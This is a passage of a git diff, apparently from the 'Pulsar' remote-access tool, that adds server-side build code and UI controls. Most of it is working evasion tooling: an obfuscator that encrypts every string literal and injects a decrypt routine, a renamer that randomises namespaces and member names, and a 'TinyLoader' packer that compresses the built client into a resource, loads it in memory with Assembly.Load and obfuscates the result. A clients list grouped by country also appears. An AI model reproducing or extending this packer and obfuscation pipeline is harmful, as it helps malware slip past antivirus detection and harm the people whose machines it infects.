stringType.Methods.Remove(stringType.Methods.Single(method => method.Name == "Encrypt")); + + return decryptMethod; + } + + public override void Transform(Obfuscator obf) + { + // Inject the Decrypt method into the type + MethodDef decryptMethod = InjectDecryptionMethod(obf.Module); + + foreach (TypeDef type in obf.Module.GetTypes()) + { + + if (type.FullName.StartsWith("NAudio")) continue; + + foreach (MethodDef method in type.Methods) + { + if (!method.HasBody) continue; + method.Body.SimplifyBranches(); + + + for (int i = 0; i < method.Body.Instructions.Count; i++) + { + if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr) + { + object op = method.Body.Instructions[i].Operand; + if (op is string) + { + AesManaged aes = new AesManaged(); + string key = Convert.ToBase64String(aes.Key); + string iv = Convert.ToBase64String(aes.IV); + + string encrypted = StringEncryption.Encrypt((string)op, aes.Key, aes.IV); + + // Call to decrypt(value, key, iv); + method.Body.Instructions[i].Operand = encrypted; + method.Body.Instructions.Insert(i + 1, OpCodes.Ldstr.ToInstruction(key)); + method.Body.Instructions.Insert(i + 2, OpCodes.Ldstr.ToInstruction(iv)); + method.Body.Instructions.Insert(i + 3, OpCodes.Call.ToInstruction(decryptMethod)); + + + + i += 3; // skip the added instructions + + } + } + } + } + } + } + } +} diff --git a/Pulsar.Server/Build/Obfuscator/Utils/InjectHelper.cs b/Pulsar.Server/Build/Obfuscator/Utils/InjectHelper.cs new file mode 100644 index 0000000..baa164a --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Utils/InjectHelper.cs @@ -0,0 +1,356 @@ +using dnlib.DotNet.Emit; +using dnlib.DotNet; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +/// +/// To be honest, I don't even know where I got this class from. Just know it's cool :catThumbsUp: - body +/// + +namespace Pulsar.Server.Build.Obfuscator.Utils +{ + /// + /// Provides methods to inject a into another module. + /// + public static class InjectHelper + { + /// + /// Clones the specified origin TypeDef. + /// + /// The origin TypeDef. + /// The cloned TypeDef. + static TypeDefUser Clone(TypeDef origin) + { + var ret = new TypeDefUser(origin.Namespace, origin.Name); + ret.Attributes = origin.Attributes; + + if (origin.ClassLayout != null) + ret.ClassLayout = new ClassLayoutUser(origin.ClassLayout.PackingSize, origin.ClassSize); + + foreach (GenericParam genericParam in origin.GenericParameters) + ret.GenericParameters.Add(new GenericParamUser(genericParam.Number, genericParam.Flags, "-")); + + return ret; + } + + /// + /// Clones the specified origin MethodDef. + /// + /// The origin MethodDef. + /// The cloned MethodDef. + static MethodDefUser Clone(MethodDef origin) + { + var ret = new MethodDefUser(origin.Name, null, origin.ImplAttributes, origin.Attributes); + + foreach (GenericParam genericParam in origin.GenericParameters) + ret.GenericParameters.Add(new GenericParamUser(genericParam.Number, genericParam.Flags, "-")); + + return ret; + } + + /// + /// Clones the specified origin FieldDef. + /// + /// The origin FieldDef. + /// The cloned FieldDef. + static FieldDefUser Clone(FieldDef origin) + { + var ret = new FieldDefUser(origin.Name, null, origin.Attributes); + return ret; + } + + /// + /// Populates the context mappings. + /// + /// The origin TypeDef. + /// The injection context. + /// The new TypeDef. + static TypeDef PopulateContext(TypeDef typeDef, InjectContext ctx) + { + var ret = ctx.Map(typeDef)?.ResolveTypeDef(); + if (ret is null) + { + ret = Clone(typeDef); + ctx.DefMap[typeDef] = ret; + } + + foreach (TypeDef nestedType in typeDef.NestedTypes) + ret.NestedTypes.Add(PopulateContext(nestedType, ctx)); + + foreach (MethodDef method in typeDef.Methods) + ret.Methods.Add((MethodDef)(ctx.DefMap[method] = Clone(method))); + + foreach (FieldDef field in typeDef.Fields) + ret.Fields.Add((FieldDef)(ctx.DefMap[field] = Clone(field))); + + return ret; + } + + /// + /// Copies the information from the origin type to injected type. + /// + /// The origin TypeDef. + /// The injection context. + static void CopyTypeDef(TypeDef typeDef, InjectContext ctx) + { + var newTypeDef = ctx.Map(typeDef)?.ResolveTypeDefThrow(); + newTypeDef.BaseType = ctx.Importer.Import(typeDef.BaseType); + + foreach (InterfaceImpl iface in typeDef.Interfaces) + newTypeDef.Interfaces.Add(new InterfaceImplUser(ctx.Importer.Import(iface.Interface))); + } + + /// + /// Copies the information from the origin method to injected method. + /// + /// The origin MethodDef. + /// The injection context. + static void CopyMethodDef(MethodDef methodDef, InjectContext ctx) + { + var newMethodDef = ctx.Map(methodDef)?.ResolveMethodDefThrow(); + + newMethodDef.Signature = ctx.Importer.Import(methodDef.Signature); + newMethodDef.Parameters.UpdateParameterTypes(); + + foreach (var paramDef in methodDef.ParamDefs) + newMethodDef.ParamDefs.Add(new ParamDefUser(paramDef.Name, paramDef.Sequence, paramDef.Attributes)); + + if (methodDef.ImplMap != null) + newMethodDef.ImplMap = new ImplMapUser(new ModuleRefUser(ctx.TargetModule, methodDef.ImplMap.Module.Name), methodDef.ImplMap.Name, methodDef.ImplMap.Attributes); + + foreach (CustomAttribute ca in methodDef.CustomAttributes) + newMethodDef.CustomAttributes.Add(new CustomAttribute((ICustomAttributeType)ctx.Importer.Import(ca.Constructor))); + + if (methodDef.HasBody) + CopyMethodBody(methodDef, ctx, newMethodDef); + } + + static void CopyMethodBody(MethodDef methodDef, InjectContext ctx, MethodDef newMethodDef) + { + newMethodDef.Body = new CilBody(methodDef.Body.InitLocals, new List(), + new List(), new List()) + { MaxStack = methodDef.Body.MaxStack }; + + var bodyMap = new Dictionary(); + + foreach (Local local in methodDef.Body.Variables) + { + var newLocal = new Local(ctx.Importer.Import(local.Type)); + newMethodDef.Body.Variables.Add(newLocal); + newLocal.Name = local.Name; + + bodyMap[local] = newLocal; + } + + foreach (Instruction instr in methodDef.Body.Instructions) + { + var newInstr = new Instruction(instr.OpCode, instr.Operand) + { + SequencePoint = instr.SequencePoint + }; + + switch (newInstr.Operand) + { + case IType type: + newInstr.Operand = ctx.Importer.Import(type); + break; + case IMethod method: + newInstr.Operand = ctx.Importer.Import(method); + break; + case IField field: + newInstr.Operand = ctx.Importer.Import(field); + break; + } + + newMethodDef.Body.Instructions.Add(newInstr); + bodyMap[instr] = newInstr; + } + + foreach (Instruction instr in newMethodDef.Body.Instructions) + { + if (instr.Operand != null && bodyMap.ContainsKey(instr.Operand)) + instr.Operand = bodyMap[instr.Operand]; + else if (instr.Operand is Instruction[] instructions) + instr.Operand = instructions.Select(target => (Instruction)bodyMap[target]).ToArray(); + } + + foreach (ExceptionHandler eh in methodDef.Body.ExceptionHandlers) + newMethodDef.Body.ExceptionHandlers.Add(new ExceptionHandler(eh.HandlerType) + { + CatchType = eh.CatchType == null ? null : ctx.Importer.Import(eh.CatchType), + TryStart = (Instruction)bodyMap[eh.TryStart], + TryEnd = (Instruction)bodyMap[eh.TryEnd], + HandlerStart = (Instruction)bodyMap[eh.HandlerStart], + HandlerEnd = (Instruction)bodyMap[eh.HandlerEnd], + FilterStart = eh.FilterStart == null ? null : (Instruction)bodyMap[eh.FilterStart] + }); + + newMethodDef.Body.SimplifyMacros(newMethodDef.Parameters); + } + + /// + /// Copies the information from the origin field to injected field. + /// + /// The origin FieldDef. + /// The injection context. + static void CopyFieldDef(FieldDef fieldDef, InjectContext ctx) + { + var newFieldDef = ctx.Map(fieldDef).ResolveFieldDefThrow(); + + newFieldDef.Signature = ctx.Importer.Import(fieldDef.Signature); + } + + /// + /// Copies the information to the injected definitions. + /// + /// The origin TypeDef. + /// The injection context. + /// if set to true, copy information of . + static void Copy(TypeDef typeDef, InjectContext ctx, bool copySelf) + { + if (copySelf) + CopyTypeDef(typeDef, ctx); + + foreach (TypeDef nestedType in typeDef.NestedTypes) + Copy(nestedType, ctx, true); + + foreach (MethodDef method in typeDef.Methods) + CopyMethodDef(method, ctx); + + foreach (FieldDef field in typeDef.Fields) + CopyFieldDef(field, ctx); + } + + /// + /// Injects the specified TypeDef to another module. + /// + /// The source TypeDef. + /// The target module. + /// The injected TypeDef. + public static TypeDef Inject(TypeDef typeDef, ModuleDef target) + { + var ctx = new InjectContext(typeDef.Module, target); + var result = PopulateContext(typeDef, ctx); + Copy(typeDef, ctx, true); + return result; + } + + /// + /// Injects the specified MethodDef to another module. + /// + /// The source MethodDef. + /// The target module. + /// The injected MethodDef. + public static MethodDef Inject(MethodDef methodDef, ModuleDef target) + { + var ctx = new InjectContext(methodDef.Module, target); + MethodDef result; + ctx.DefMap[methodDef] = result = Clone(methodDef); + CopyMethodDef(methodDef, ctx); + return result; + } + + /// + /// Injects the members of specified TypeDef to another module. + /// + /// The source TypeDef. + /// The new type. + /// The target module. + /// Injected members. + public static IEnumerable Inject(TypeDef typeDef, TypeDef newType, ModuleDef target) + { + var ctx = new InjectContext(typeDef.Module, target); + ctx.DefMap[typeDef] = newType; + PopulateContext(typeDef, ctx); + Copy(typeDef, ctx, false); + return ctx.DefMap.Values.Except(new[] { newType }).OfType(); + } + + /// + /// Context of the injection process. + /// + class InjectContext : ImportMapper + { + /// + /// The mapping of origin definitions to injected definitions. + /// + public readonly Dictionary DefMap = new Dictionary(); + + /// + /// The module which source type originated from. + /// + public readonly ModuleDef OriginModule; + + /// + /// The module which source type is being injected to. + /// + public readonly ModuleDef TargetModule; + + /// + /// Initializes a new instance of the class. + /// + /// The origin module. + /// The target module. + public InjectContext(ModuleDef module, ModuleDef target) + { + OriginModule = module; + TargetModule = target; + Importer = new Importer(target, ImporterOptions.TryToUseTypeDefs, new GenericParamContext(), this); + } + + /// + /// Gets the importer. + /// + /// The importer. + public Importer Importer { get; } + + /// + public override ITypeDefOrRef Map(ITypeDefOrRef source) + { + if (DefMap.TryGetValue(source, out var mappedRef)) + return mappedRef as ITypeDefOrRef; + + // check if the assembly reference needs to be fixed. + if (source is TypeRef sourceRef) + { + var targetAssemblyRef = TargetModule.GetAssemblyRef(sourceRef.DefinitionAssembly.Name); + if (!(targetAssemblyRef is null) && !string.Equals(targetAssemblyRef.FullName, source.DefinitionAssembly.FullName, StringComparison.Ordinal)) + { + // We got a matching assembly by the simple name, but not by the full name. + // This means the injected code uses a different assembly version than the target assembly. + // We'll fix the assembly reference, to avoid breaking anything. + var fixedTypeRef = new TypeRefUser(sourceRef.Module, sourceRef.Namespace, sourceRef.Name, targetAssemblyRef); + return Importer.Import(fixedTypeRef); + } + } + return null; + } + + /// + public override IMethod Map(MethodDef source) + { + if (DefMap.TryGetValue(source, out var mappedRef)) + return mappedRef as IMethod; + return null; + } + + /// + public override IField Map(FieldDef source) + { + if (DefMap.TryGetValue(source, out var mappedRef)) + return mappedRef as IField; + return null; + } + + public override MemberRef Map(MemberRef source) + { + if (DefMap.TryGetValue(source, out var mappedRef)) + return mappedRef as MemberRef; + return null; + } + } + } +} diff --git a/Pulsar.Server/Build/Obfuscator/Utils/Injection/StringEncryption.cs b/Pulsar.Server/Build/Obfuscator/Utils/Injection/StringEncryption.cs new file mode 100644 index 0000000..019fc1a --- /dev/null +++ b/Pulsar.Server/Build/Obfuscator/Utils/Injection/StringEncryption.cs @@ -0,0 +1,40 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Server.Build.Obfuscator.Utils.Injection +{ + public class StringEncryption + { + public static string Encrypt(string input, byte[] key, byte[] iv) + { + AesManaged aes = new AesManaged(); + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + ICryptoTransform encryptor = aes.CreateEncryptor(key, iv); + byte[] encrypted = encryptor.TransformFinalBlock(Encoding.UTF8.GetBytes(input), 0, input.Length); + encryptor.Dispose(); + aes.Dispose(); + return Convert.ToBase64String(encrypted); + } + + public static string Decrypt(string sInput, string key, string iv) + { + byte[] input = Convert.FromBase64String(sInput); + AesManaged aes = new AesManaged(); + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + ICryptoTransform decryptor = aes.CreateDecryptor(Convert.FromBase64String(key), Convert.FromBase64String(iv)); + byte[] decrypted = decryptor.TransformFinalBlock(input, 0, input.Length); + decryptor.Dispose(); + aes.Dispose(); + return Encoding.UTF8.GetString(decrypted); + } + + + + } +} diff --git a/Pulsar.Server/Build/Renamer.cs b/Pulsar.Server/Build/Renamer.cs new file mode 100644 index 0000000..a91b652 --- /dev/null +++ b/Pulsar.Server/Build/Renamer.cs @@ -0,0 +1,221 @@ +using Mono.Cecil; +using Pulsar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Pulsar.Server.Build +{ + public class Renamer + { + public AssemblyDefinition AsmDef { get; set; } + + private int MinLength { get; set; } + private int MaxLength { get; set; } + private MemberOverloader _typeOverloader; + private Dictionary _methodOverloaders; + private Dictionary _fieldOverloaders; + private Dictionary _eventOverloaders; + private Dictionary _namespaceRenames; + + private readonly SafeRandom _random = new SafeRandom(); + + public Renamer(AssemblyDefinition asmDef) + : this(asmDef, 10, 30) + { + } + + public Renamer(AssemblyDefinition asmDef, int minLength, int maxLength) + { + this.AsmDef = asmDef; + this.MinLength = minLength; + this.MaxLength = maxLength; + _typeOverloader = new MemberOverloader(this.MinLength, this.MaxLength); + _methodOverloaders = new Dictionary(); + _fieldOverloaders = new Dictionary(); + _eventOverloaders = new Dictionary(); + _namespaceRenames = new Dictionary(); + } + + public bool Perform() + { + try + { + foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types)) + { + RenameInType(typeDef); + } + return true; + } + catch + { + return false; + } + } + + private void RenameInType(TypeDefinition typeDef) + { + if (!typeDef.Namespace.StartsWith("Pulsar") || typeDef.Namespace.StartsWith("Pulsar.Common.Messages") || typeDef.IsEnum) + return; + + _typeOverloader.GiveName(typeDef); + + typeDef.Namespace = RenameNamespace(typeDef.Namespace); + + MemberOverloader methodOverloader = GetMethodOverloader(typeDef); + MemberOverloader fieldOverloader = GetFieldOverloader(typeDef); + MemberOverloader eventOverloader = GetEventOverloader(typeDef); + + if (typeDef.HasNestedTypes) + foreach (TypeDefinition nestedType in typeDef.NestedTypes) + RenameInType(nestedType); + + if (typeDef.HasMethods) + foreach (MethodDefinition methodDef in + typeDef.Methods.Where(methodDef => + !methodDef.IsConstructor && !methodDef.HasCustomAttributes && + !methodDef.IsAbstract && !methodDef.IsVirtual)) + methodOverloader.GiveName(methodDef); + + if (typeDef.HasFields) + foreach (FieldDefinition fieldDef in typeDef.Fields) + fieldOverloader.GiveName(fieldDef); + + if (typeDef.HasEvents) + foreach (EventDefinition eventDef in typeDef.Events) + eventOverloader.GiveName(eventDef); + } + + private string RenameNamespace(string originalNamespace) + { + if (string.IsNullOrEmpty(originalNamespace)) + return originalNamespace; + + if (!_namespaceRenames.TryGetValue(originalNamespace, out string newNamespace)) + { + newNamespace = GenerateRandomNamespace(); + _namespaceRenames[originalNamespace] = newNamespace; + } + + return newNamespace; + } + + private string GenerateRandomNamespace() + { + StringBuilder builder = new StringBuilder(); + int length = _random.Next(MinLength, MaxLength); + for (int i = 0; i < length; i++) + { + builder.Append((char)_random.Next('a', 'z' + 1)); + } + return builder.ToString(); + } + + private MemberOverloader GetMethodOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._methodOverloaders, typeDef); + } + + private MemberOverloader GetFieldOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._fieldOverloaders, typeDef); + } + + private MemberOverloader GetEventOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._eventOverloaders, typeDef); + } + + private MemberOverloader GetOverloader(Dictionary overloaderDictionary, + TypeDefinition targetTypeDef) + { + if (!overloaderDictionary.TryGetValue(targetTypeDef, out MemberOverloader overloader)) + { + overloader = new MemberOverloader(this.MinLength, this.MaxLength); + overloaderDictionary.Add(targetTypeDef, overloader); + } + return overloader; + } + + private class MemberOverloader + { + private bool DoRandom { get; set; } + private int MinLength { get; set; } + private int MaxLength { get; set; } + private readonly Dictionary _renamedMembers = new Dictionary(); + private readonly char[] _charMap; + private readonly SafeRandom _random = new SafeRandom(); + private int[] _indices; + + public MemberOverloader(int minLength, int maxLength, bool doRandom = true) + : this(minLength, maxLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()) + { + } + + private MemberOverloader(int minLength, int maxLength, bool doRandom, char[] chars) + { + this._charMap = chars; + this.DoRandom = doRandom; + this.MinLength = minLength; + this.MaxLength = maxLength; + this._indices = new int[minLength]; + } + + public void GiveName(MemberReference member) + { + string currentName = GetCurrentName(); + string originalName = member.ToString(); + member.Name = currentName; + while (_renamedMembers.ContainsValue(member.ToString())) + { + member.Name = GetCurrentName(); + } + _renamedMembers.Add(originalName, member.ToString()); + } + + private string GetCurrentName() + { + return DoRandom ? GetRandomName() : GetOverloadedName(); + } + + private string GetRandomName() + { + StringBuilder builder = new StringBuilder(); + int length = _random.Next(MinLength, MaxLength); + + for (int i = 0; i < length; i++) + { + builder.Append(_charMap[_random.Next(_charMap.Length)]); + } + + return builder.ToString(); + } + + private string GetOverloadedName() + { + IncrementIndices(); + char[] chars = new char[_indices.Length]; + for (int i = 0; i < _indices.Length; i++) + chars[i] = _charMap[_indices[i]]; + return new string(chars); + } + + private void IncrementIndices() + { + for (int i = _indices.Length - 1; i >= 0; i--) + { + _indices[i]++; + if (_indices[i] >= _charMap.Length) + { + if (i == 0) + Array.Resize(ref _indices, _indices.Length + 1); + _indices[i] = 0; + } + else + break; + } + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Build/TinyLoader/TinyLoader.cs b/Pulsar.Server/Build/TinyLoader/TinyLoader.cs new file mode 100644 index 0000000..02b5139 --- /dev/null +++ b/Pulsar.Server/Build/TinyLoader/TinyLoader.cs @@ -0,0 +1,135 @@ +using dnlib.DotNet; +using Pulsar.Server.Build.Obfuscator.Utils.Injection; +using Pulsar.Server.Build.Obfuscator.Utils; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using dnlib.DotNet.MD; +using Microsoft.CSharp; +using System.CodeDom.Compiler; +using System.IO.Compression; + +namespace Pulsar.Server.Build.TinyLoader +{ + public class TinyLoader + { + + private byte[] app; + + public TinyLoader(string path) + { + app = File.ReadAllBytes(path); + } + + public TinyLoader(byte[] data) + { + app = data; + } + + public void Save(string path) + { + File.WriteAllBytes(path, app); + } + + public byte[] Save() + { + return app; + } + + public static byte[] Compress(byte[] data) + { + MemoryStream output = new MemoryStream(); + using (DeflateStream dstream = new DeflateStream(output, CompressionLevel.Optimal)) + { + dstream.Write(data, 0, data.Length); + } + return output.ToArray(); + } + + public byte[] Compile() + { + string sourceCode = @" +using System; +using System.Reflection; +using System.IO; +using System.IO.Compression; +namespace a +{ + class a + { + [STAThread] + static void Main() + { + using (Stream a = Assembly.GetExecutingAssembly().GetManifestResourceStream(""a"")) + { + MemoryStream b = new MemoryStream(); + using (DeflateStream c = new DeflateStream(a, CompressionMode.Decompress)) + { + c.CopyTo(b); + } + + Assembly.Load(b.ToArray()).EntryPoint.Invoke(null, null); + } + } + } +}"; + + CSharpCodeProvider provider = new CSharpCodeProvider(); + CompilerParameters parameters = new CompilerParameters(); + + + parameters.GenerateExecutable = true; + parameters.GenerateInMemory = false; + parameters.TreatWarningsAsErrors = false; + parameters.IncludeDebugInformation = false; + parameters.ReferencedAssemblies.Add("System.dll"); + parameters.ReferencedAssemblies.Add("System.Reflection.dll"); + parameters.ReferencedAssemblies.Add("System.IO.dll"); + parameters.ReferencedAssemblies.Add("System.IO.Compression.dll"); + + parameters.CompilerOptions = "/target:winexe"; + + string tempFile = "temploader.exe"; + parameters.OutputAssembly = tempFile; + + CompilerResults results = provider.CompileAssemblyFromSource(parameters, sourceCode); + + if (results.Errors.HasErrors) + { + StringBuilder errors = new StringBuilder("Compilation errors:"); + foreach (CompilerError error in results.Errors) + { + errors.AppendLine(string.Format("Line {0}: {1}", error.Line, error.ErrorText)); + } + throw new Exception(errors.ToString()); + } + + byte[] output = File.ReadAllBytes(tempFile); + try { File.Delete(tempFile); } catch { } + return output; + } + + public void Pack() + { + byte[] loader = Compile(); + ModuleDefMD module = ModuleDefMD.Load(loader); + + + module.Resources.Add(new EmbeddedResource("a", Compress(app), ManifestResourceAttributes.Public)); + + MemoryStream stream = new MemoryStream(); + module.Write(stream); + + app = stream.ToArray(); + Obfuscator.Obfuscator obf = new Obfuscator.Obfuscator(app); + obf.Obfuscate(); + app = obf.Save(); + + } + + } +} diff --git a/Pulsar.Server/Controls/.DS_Store b/Pulsar.Server/Controls/.DS_Store new file mode 100644 index 0000000..06e86a3 Binary files /dev/null and b/Pulsar.Server/Controls/.DS_Store differ diff --git a/Pulsar.Server/Controls/AudioVisualizer.cs b/Pulsar.Server/Controls/AudioVisualizer.cs new file mode 100644 index 0000000..483466e --- /dev/null +++ b/Pulsar.Server/Controls/AudioVisualizer.cs @@ -0,0 +1,201 @@ +using System; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + /// + /// A custom control that visualizes audio levels with smooth animations in dark mode. + /// + public class AudioVisualizer : Control + { + private const int BAR_SPACING = 2; + private int _barCount = 40; + private const float DECAY_RATE = 0.92f; + private const float SMOOTHING = 0.3f; + + private float[] _barHeights; + private float[] _targetHeights; + private float _currentLevel = 0f; + private float _targetLevel = 0f; + + private Timer _animationTimer; + private Random _random = new Random(); + + // Dark mode colors + private readonly Color _backgroundColor = Color.FromArgb(28, 28, 28); + private readonly Color _barColorLow = Color.FromArgb(0, 150, 255); + private readonly Color _barColorMid = Color.FromArgb(0, 200, 100); + private readonly Color _barColorHigh = Color.FromArgb(255, 100, 0); + + public AudioVisualizer() + { + SetStyle(ControlStyles.AllPaintingInWmPaint | + ControlStyles.UserPaint | + ControlStyles.OptimizedDoubleBuffer | + ControlStyles.ResizeRedraw, true); + + BackColor = _backgroundColor; + + _animationTimer = new Timer(); + _animationTimer.Interval = 33; // ~30 FPS + _animationTimer.Tick += AnimationTimer_Tick; + _animationTimer.Start(); + + CalculateBarCount(); + InitializeBars(); + } + + /// + /// Calculates the optimal number of bars to fill the control width. + /// + private void CalculateBarCount() + { + if (Width > 0) + { + // Calculate how many bars can fit (minimum 3 pixels per bar + spacing) + _barCount = Math.Max(20, Width / 5); + } + else + { + _barCount = 40; // Default + } + } + + protected override void OnResize(EventArgs e) + { + base.OnResize(e); + CalculateBarCount(); + InitializeBars(); + } + + private void InitializeBars() + { + _barHeights = new float[_barCount]; + _targetHeights = new float[_barCount]; + + for (int i = 0; i < _barCount; i++) + { + _barHeights[i] = 0f; + _targetHeights[i] = 0f; + } + } + + /// + /// Updates the audio level for visualization. + /// + /// Audio level between 0.0 and 1.0 + public void UpdateLevel(float level) + { + _targetLevel = Math.Max(0f, Math.Min(1f, level)); + } + + /// + /// Resets the visualizer to zero. + /// + public void Reset() + { + _targetLevel = 0f; + _currentLevel = 0f; + if (_barHeights != null) + { + for (int i = 0; i < _barCount; i++) + { + _barHeights[i] = 0f; + _targetHeights[i] = 0f; + } + } + Invalidate(); + } + + private void AnimationTimer_Tick(object sender, EventArgs e) + { + if (_barHeights == null || _targetHeights == null) + return; + + _currentLevel += (_targetLevel - _currentLevel) * SMOOTHING; + + for (int i = 0; i < _barCount; i++) + { + float baseHeight = _currentLevel; + + if (_currentLevel > 0.01f) + { + float variation = (float)_random.NextDouble() * 0.3f - 0.15f; + _targetHeights[i] = Math.Max(0f, Math.Min(1f, baseHeight + variation)); + } + else + { + _targetHeights[i] = 0f; + } + + if (_barHeights[i] < _targetHeights[i]) + { + _barHeights[i] += (_targetHeights[i] - _barHeights[i]) * 0.4f; + } + else + { + _barHeights[i] *= DECAY_RATE; + } + } + + _targetLevel *= 0.85f; + + Invalidate(); + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + + if (_barHeights == null || _targetHeights == null) + return; + + Graphics g = e.Graphics; + g.SmoothingMode = SmoothingMode.AntiAlias; + + int barWidth = (Width - (_barCount - 1) * BAR_SPACING) / _barCount; + if (barWidth < 1) barWidth = 1; + + for (int i = 0; i < _barCount; i++) + { + int x = i * (barWidth + BAR_SPACING); + int barHeight = (int)(_barHeights[i] * Height); + int y = Height - barHeight; + + if (barHeight > 0) + { + Color barColor; + if (_barHeights[i] < 0.5f) + { + barColor = _barColorLow; + } + else if (_barHeights[i] < 0.8f) + { + barColor = _barColorMid; + } + else + { + barColor = _barColorHigh; + } + + using (SolidBrush brush = new SolidBrush(barColor)) + { + g.FillRectangle(brush, x, y, barWidth, barHeight); + } + } + } + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + _animationTimer?.Stop(); + _animationTimer?.Dispose(); + } + base.Dispose(disposing); + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/ClientsListElementHost.cs b/Pulsar.Server/Controls/ClientsListElementHost.cs new file mode 100644 index 0000000..38f506d --- /dev/null +++ b/Pulsar.Server/Controls/ClientsListElementHost.cs @@ -0,0 +1,96 @@ +using Pulsar.Server.Controls.Wpf; +using Pulsar.Server.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; +using System.Windows.Forms.Integration; + +#nullable enable + +namespace Pulsar.Server.Controls +{ + public sealed class ClientsListElementHost : ElementHost + { + private readonly ClientsListView _clientsListView; + + public ClientsListElementHost() + { + _clientsListView = new ClientsListView(); + Child = _clientsListView; + Dock = DockStyle.Fill; + + _clientsListView.SelectionChanged += ClientsListViewOnSelectionChanged; + _clientsListView.ItemDoubleClicked += ClientsListViewOnItemDoubleClicked; + _clientsListView.FavoriteToggled += ClientsListViewOnFavoriteToggled; + } + + public event EventHandler? SelectionChanged; + public event EventHandler? ItemDoubleClicked; + public event EventHandler? FavoriteToggled; + + public IReadOnlyList SelectedClients => _clientsListView.SelectedEntries.Select(e => e.Client).ToList(); + + public int SelectedCount => SelectedClients.Count; + + public ClientListEntry AddOrUpdate(Client client, Action updater) + { + return _clientsListView.AddOrUpdate(client, updater); + } + + public void Remove(Client client) => _clientsListView.Remove(client); + + public void ClearClients() => _clientsListView.Clear(); + + public void ApplyFilter(Func? predicate) + { + _clientsListView.ApplyFilter(predicate == null ? null : new Predicate(predicate)); + } + + public void SetGroupByCountry(bool enabled) => _clientsListView.SetGroupByCountry(enabled); + + public void RefreshSort() => _clientsListView.RefreshSort(); + + public void SetSelectedClients(IEnumerable clients) + { + _clientsListView.SetSelectedClients(clients); + } + + public void RefreshItem(Client client) + { + var entry = _clientsListView.GetEntryByClient(client); + if (entry != null) + { + _clientsListView.RefreshItem(entry); + } + } + + public void ApplyTheme(bool isDarkMode) => _clientsListView.ApplyTheme(isDarkMode); + + public void SetToolTip(Client client, string text) + { + var entry = _clientsListView.GetEntryByClient(client); + if (entry != null) + { + entry.ToolTip = text; + } + } + + public ClientListEntry? GetEntry(Client client) => _clientsListView.GetEntryByClient(client); + + private void ClientsListViewOnSelectionChanged(object? sender, IReadOnlyList e) + { + SelectionChanged?.Invoke(this, EventArgs.Empty); + } + + private void ClientsListViewOnItemDoubleClicked(object? sender, ClientListEntry e) + { + ItemDoubleClicked?.Invoke(this, e.Client); + } + + private void ClientsListViewOnFavoriteToggled(object? sender, ClientListEntry e) + { + FavoriteToggled?.Invoke(this, e.Client); + } + } +} diff --git a/Pulsar.Server/Controls/DotNetBarTabControl.cs b/Pulsar.Server/Controls/DotNetBarTabControl.cs new file mode 100644 index 0000000..64b6424 --- /dev/null +++ b/Pulsar.Server/Controls/DotNetBarTabControl.cs @@ -0,0 +1,369 @@ +using Pulsar.Server.Models; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Windows.Forms; + +// thanks to Mavamaarten~ for coding this + +namespace Pulsar.Server.Controls +{ + public class TabPageEventArgs : EventArgs + { + public TabPage TabPage { get; } + public TabPageEventArgs(TabPage tabPage) + { + TabPage = tabPage; + } + } + internal class DotNetBarTabControl : TabControl + { + private bool _darkMode = Settings.DarkMode; + private Dictionary _closeButtonRects = new Dictionary(); + private bool _showCloseButtons = true; + + public event EventHandler TabClosed; + + /// + /// Gets or sets whether close buttons are shown on tabs. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool ShowCloseButtons + { + get { return _showCloseButtons; } + set + { + if (_showCloseButtons != value) + { + _showCloseButtons = value; + Invalidate(); + } + } + } + public DotNetBarTabControl() + { + SetStyle( + ControlStyles.AllPaintingInWmPaint | ControlStyles.ResizeRedraw | ControlStyles.UserPaint | + ControlStyles.DoubleBuffer, true); + SizeMode = TabSizeMode.Fixed; + SelectedIndex = 0; + ShowCloseButtons = false; + + MouseClick += DotNetBarTabControl_MouseClick; + } + + private void DotNetBarTabControl_MouseClick(object sender, MouseEventArgs e) + { + if (!_showCloseButtons) + return; + foreach (var kvp in _closeButtonRects) + { + if (kvp.Value.Contains(e.Location)) + { + int tabIndex = kvp.Key; + if (tabIndex >= 0 && tabIndex < TabCount) + { + TabPage tabPage = TabPages[tabIndex]; + + TabPages.Remove(tabPage); + + TabClosed?.Invoke(this, new TabPageEventArgs(tabPage)); + + Invalidate(); + } + break; + } + } + } + + + private void DrawTabText(Graphics g, Rectangle rect, string text, Font baseFont, Brush textBrush, bool isSelected) + { + + int maxTextWidth = rect.Width - 20; + + + if (_showCloseButtons) + maxTextWidth -= 20; + + + SizeF textSize = g.MeasureString(text, baseFont); + + + Font fontToUse = baseFont; + float scaleFactor = 1.0f; + + if (textSize.Width > maxTextWidth) + { + scaleFactor = maxTextWidth / textSize.Width; + float newSize = Math.Max(baseFont.Size * scaleFactor, 7.0f); + fontToUse = new Font(baseFont.FontFamily, newSize, isSelected ? FontStyle.Bold : FontStyle.Regular); + } + else if (isSelected && baseFont.Style != FontStyle.Bold) + { + + fontToUse = new Font(baseFont.FontFamily, baseFont.Size, FontStyle.Bold); + } + + + 